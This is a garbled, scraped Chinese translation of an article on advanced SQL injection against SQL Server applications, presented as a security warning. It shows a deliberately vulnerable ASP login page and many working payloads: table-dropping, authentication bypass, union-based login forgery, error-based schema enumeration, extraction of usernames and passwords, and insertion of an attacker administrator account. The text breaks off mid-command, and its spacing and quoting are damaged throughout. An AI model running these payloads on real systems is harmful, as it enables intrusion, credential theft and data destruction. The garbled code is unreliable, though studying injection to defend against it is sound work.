警惕SQL漏洞《SqlServer应用程序的高级Sql注入》Word文档下载推荐.docx
- 文档编号:16382075
- 上传时间:2022-11-23
- 格式:DOCX
- 页数:21
- 大小:30.07KB
警惕SQL漏洞《SqlServer应用程序的高级Sql注入》Word文档下载推荐.docx
《警惕SQL漏洞《SqlServer应用程序的高级Sql注入》Word文档下载推荐.docx》由会员分享,可在线阅读,更多相关《警惕SQL漏洞《SqlServer应用程序的高级Sql注入》Word文档下载推荐.docx(21页珍藏版)》请在冰豆网上搜索。
)和操作数据库里的数据(用数据操作语言"
DML"
)。
我们在这里着重讨论Transact-SQL(交互式SQL),应用于SQL-Server的SQL一种方言(非标准SQL)。
如果攻击者可以插一系列的SQL语句进入应用程序的数据查询时,Sql注入攻击就可能发生。
一个典型的SQL语句是这样的:
selectid,forename,surnamefromauthors
这个查询语句将会从'
authors'
表中返回'
id'
,'
forename'
和'
surname'
列的所有行。
返回的结果集也可以加以特定条件'
author'
限制:
selectid,forename,surnamefromauthorswhereforename='
john'
andsurname='
smith'
注意这里很重要的一点是'
是被单引号引住的,假设'
字段是来自于用户的输入,攻击者就可能通过输入非法字符串来对这个查询进行SQL注入:
Forename:
jo'
hn
Surname:
smith
查询语句就会变成:
hn'
当数据库试图执行这个查询,它会返回这样的错误:
Server:
Msg170,Level15,State1,Line1
Line1:
Incorrectsyntaxnear'
这是因为插入的单引号破坏了原来单引号引住的数据,数据库执行到'
时失败。
如果攻击者这样输入:
jo'
;
droptableauthors--
...authors表就会被删掉,原因过一会再解释。
似乎通过删除用户输入的字符串中的单引号或者通过一些方法避免它们出现可以解决这个问题。
诚然如此,但是要实施这个解决方法还有很多的困难。
因为首先:
不是所有的用户提交的数据都是字符串形式,比如我们的用户输入通过'
(看上去是个数字)来选择一个用户,我们的查询可能会这样:
selectid,forename,surnamefromauthorswhereid=1234
在这种情况下攻击者可以轻易的在数值输入后面添加SQL语句。
在其他SQL方言中,使用着各种分隔符,比如MSJetDBMS引擎,日期可以用'
#'
符号来分隔。
其次,避免单引号并不像开始我们想象的那样是必要的解决办法,原因下面讨论。
我们将以ActiveServerPages(ASP)登陆页面为例子来详细说明,它访问一个Sql-Server数据库并且验证一个到我们假想的程序的访问。
这是用户填写用户名和密码的表单页面:
<
HTML>
HEAD>
TITLE>
LoginPage<
/TITLE>
/HEAD>
BODYbgcolor='
000000'
text='
cccccc'
>
FONTFace='
tahoma'
color='
CENTER>
H1>
Login<
/H1>
FORMaction='
process_login.asp'
method=post>
TABLE>
TR>
TD>
Username:
/TD>
INPUTtype=textname=usernamesize=100%width=100>
/INPUT>
/TR>
Password:
INPUTtype=passwordname=passwordsize=100%
width=100>
/TABLE>
INPUTtype=submitvalue='
Submit'
<
INPUTtype=resetvalue='
Reset'
/FORM>
/FONT>
/BODY>
/HTML>
这是'
的代码,它处理用户登陆:
ffffff'
STYLE>
p{font-size=20pt!
important}
font{font-size=20pt!
h1{font-size=64pt!
/STYLE>
%@LANGUAGE=JScript%>
%
functiontrace(str)
{
if(Request.form("
debug"
)=="
true"
)
Response.write(str);
}
functionLogin(cn)
varusername;
varpassword;
username=Request.form("
username"
);
password=Request.form("
password"
varrso=Server.CreateObject("
ADODB.Recordset"
varsql="
select*fromuserswhereusername='
"
+username+"
'
andpassword='
+password+"
trace("
query:
"
+sql);
rso.open(sql,cn);
if(rso.EOF)
rso.close();
%>
FONTFace='
cc0000'
H1>
BR>
BR>
ACCESSDENIED<
/CENTER>
/H1>
Response.end
return;
else
Session("
)="
+rso("
00cc00'
ACCESSGRANTED<
Welcome,
%Response.write(rso("
Username"
));
Response.write("
/BODY>
/HTML>
);
functionMain()
//Setupconnection
varusername
varcn=Server.createobject("
ADODB.Connection"
cn.connectiontimeout=20;
cn.open("
localserver"
"
sa"
username=newString(Request.form("
));
if(username.length>
0)
Login(cn);
cn.close();
Main();
这里讨论的是'
中的创建'
querystring'
的部分:
andpassword='
如果用户指定了下面这样的数据:
'
droptableusers--
users'
表会被删除,所有用户都不能登陆。
--'
是Transact-SQL(交互式SQL)的单行注释符,'
标志着一个查询的结束另一个查询的开始。
用户名最后的'
用来使这个特殊的查询无错误结束。
攻击者只要知道用户名,就可以通过以下的输入以任何用户的身份登陆:
admin'
--
攻击者可以通过下面的输入以用户表里的第一个用户来登陆:
or1=1--
...更有甚者,攻击者通过以下的输入可以以任意虚构的用户登陆:
unionselect1,'
fictional_user'
'
somoe_password'
1--
因为程序相信攻击者指定的常量是数据库返回的记录集的一部分。
这个技术是DavidLitchfield在一次渗透入侵测试中首先发现的,后来david写了篇关于这个技术的文章,很多作者都参考过这篇作品。
这里我们讨论“错误消息”技术潜在的机制,使读者可以充分理解它并且能灵活应用。
为了操作数据库里的数据,攻击者要确定某个数据库的结构。
例如:
我们的"
user"
表是用下面的语句建立的:
createtableusers(idint,
usernamevarchar(255),
passwordvarchar(255),
privsint
)
并且插入了下面的用户:
insertintousersvalues(0,'
admin'
r00tr0x!
0xffff)
guest'
0x0000)
chris'
password'
0x00ff)
fred'
sesame'
我们假设攻击者要为自己插入一个用户,如果不知道表的结构的话,他不可能成功。
即使他运气好,'
priv'
字段的重要性还不清楚。
攻击者可能插入'
1'
,给自己在程序里添加了一个低权限的用户,而他的目标是管理员的权限。
对于攻击者来说幸运的是:
如果程序返回错误(asp默认如此),攻击者可以猜测整个数据库的结构,读取ASP程序连接到SQL-Server的帐号权限内可以读取的任何值。
(下面给出的使用上面提供的示例数据库和asp脚本来说明这些技术怎样实现的)
首先,攻击者要确定查询的表名和字段名。
要做到这点,攻击者可以使用'
select'
语句的'
having'
子句:
username:
having1=1--
这会引起下面的错误(译者注:
having字句必须和GROUPBY或者聚合函数一起配合使用,否则出错):
MicrosoftOLEDBProviderforODBCDriverserror'
80040e14'
[Microsoft][ODBCSQLServerDriver][SQLServer]Column'
users.id'
is
invalidintheselectlistbecauseitisnotcontainedinanaggregate
functionandthereisnoGROUPBYclause.
/process_login.asp,line35
所以攻击者就知道了表名和第一列的列名,他们可以通过给每列加上'
groupby'
子句继续得到其他列名,如下:
groupbyusers.idhaving1=1--
(结果产生这样的错误)
users.username'
isinvalidintheselectlistbecauseitisnotcontainedineitheran
aggregatefunctionortheGROUPBYclause.
最后攻击者得到了下面的'
username'
:
groupbyusers.id,users.username,users.password,users.privshaving1=1--
这句没有错误,相当于:
所以攻击者知道了查询只是关于'
表的,并且顺序使用了列'
id,username,password,rpivs'
。
如果攻击者能确定各列的数据类型将会很有用,可以利用类型转换错误信息来达到这一点,看下面的例子:
unionselectsum(username)fromusers--
这利用了SQL-Server试图在确定两行是否相同之前先执行'
sum'
子句的特性,计算文本域的和会返回这样的信息:
80040e07'
[Microsoft][ODBCSQLServerDriver][SQLServer]Thesumoraverage
aggregateoperationcannottakeavarchardatatypeasanargument.
它告诉我们'
字段的类型是'
varchar'
相反的,如果我们试图计算数值型的字段,但结果两行的列数并不匹配:
我们可以用这个技术来大概地确定数据库内各列的类型。
这样攻击者就可以写出一个格式完美的'
insert'
语句:
insertintousersvalues(666,'
attacker'
foobar'
0xffff)--
但是,这个技术的潜力不止这些。
攻击者可以利用任何错误信息来暴露系统环境或者数据库信息。
执行下面的语句可以得到一个标准错误信息的清单:
select*frommaster..sysmessages
检查这个清单可以发现很多有趣的信息。
一个特别有用的信息有关类型转换,如果你试图将一个字符串转换成整型,整个字符串的内容将会出现在错误信息里。
以我们登陆页的例子来说,使用下面的'
将会返回SQL-Server的版本以及它所在服务器操作系统的版本信息:
unionselect@@version,1,1,1--
[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconverting
thenvarcharvalue'
MicrosoftSQLServer2000-8.00.194(IntelX86)Aug
6200000:
57:
48Copyright(c)1988-2000MicrosoftCorporationEnterprise
EditiononWindowsNT5.0(Build2195:
ServicePack2)'
toacolumnof
datatypeint.
这试图将内置常量'
@@version'
转换成整型,因为'
表第一列是整数。
这个技术可以用来读取任何数据库的任何表的任何内容,如果攻击者对用户名和密码感兴趣,他们就可以从'
表读用户名:
unionselectmin(username),1,1,1fromuserswhereusername>
a'
这将选出比'
大的最小用户名,而且试图将它转换成一个整数:
thevarcharvalue'
toacolumnofdatatypeint.
攻击者就知道'
帐号存在,他现在可以把他发现的用户名放进'
where'
子句来反复测试这行:
一旦攻击者确定了用户名,他就可以搜集密码;
unionselectpassword,1,1,1fromuserswhereusername='
一个更“别致”的技术是将用户名和密码连接成一个单独的字符传,然后试图将它转换成整型。
这将举另一种例子;
Transact-SQL语句可以将字符串连接成一行而不改变他们的意义,下面的脚本将连接这些值:
begindeclare@retvarchar(8000)
set@ret='
:
select@ret=@ret+'
+username+'
/'
+passwordfromuserswhere
username>
@ret
select@retasretintofoo
end
攻击者用这个'
登陆(明显都在同一行)
begindeclare@retvarchar(8000)set@ret='
select@ret=@ret+'
+passwordfromuserswhereusername>
@retselect@retasretintofooend--
这创建了一个只包含单列'
ret'
的表'
foo'
,而且把我们的字符串放在里面。
通常一个低权限的用户可以在示例数据库里创建表,或者一个临时表。
之后攻击者选择查询表里的字符串,就像前面说的:
unionselectret,1,1,1fromfoo--
admin/r00tr0x!
guest/guestchris/password
fred/sesame'
然后删除这个表:
drop
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- SqlServer应用程序的高级Sql注入 警惕 SQL 漏洞 SqlServer 应用程序 高级 注入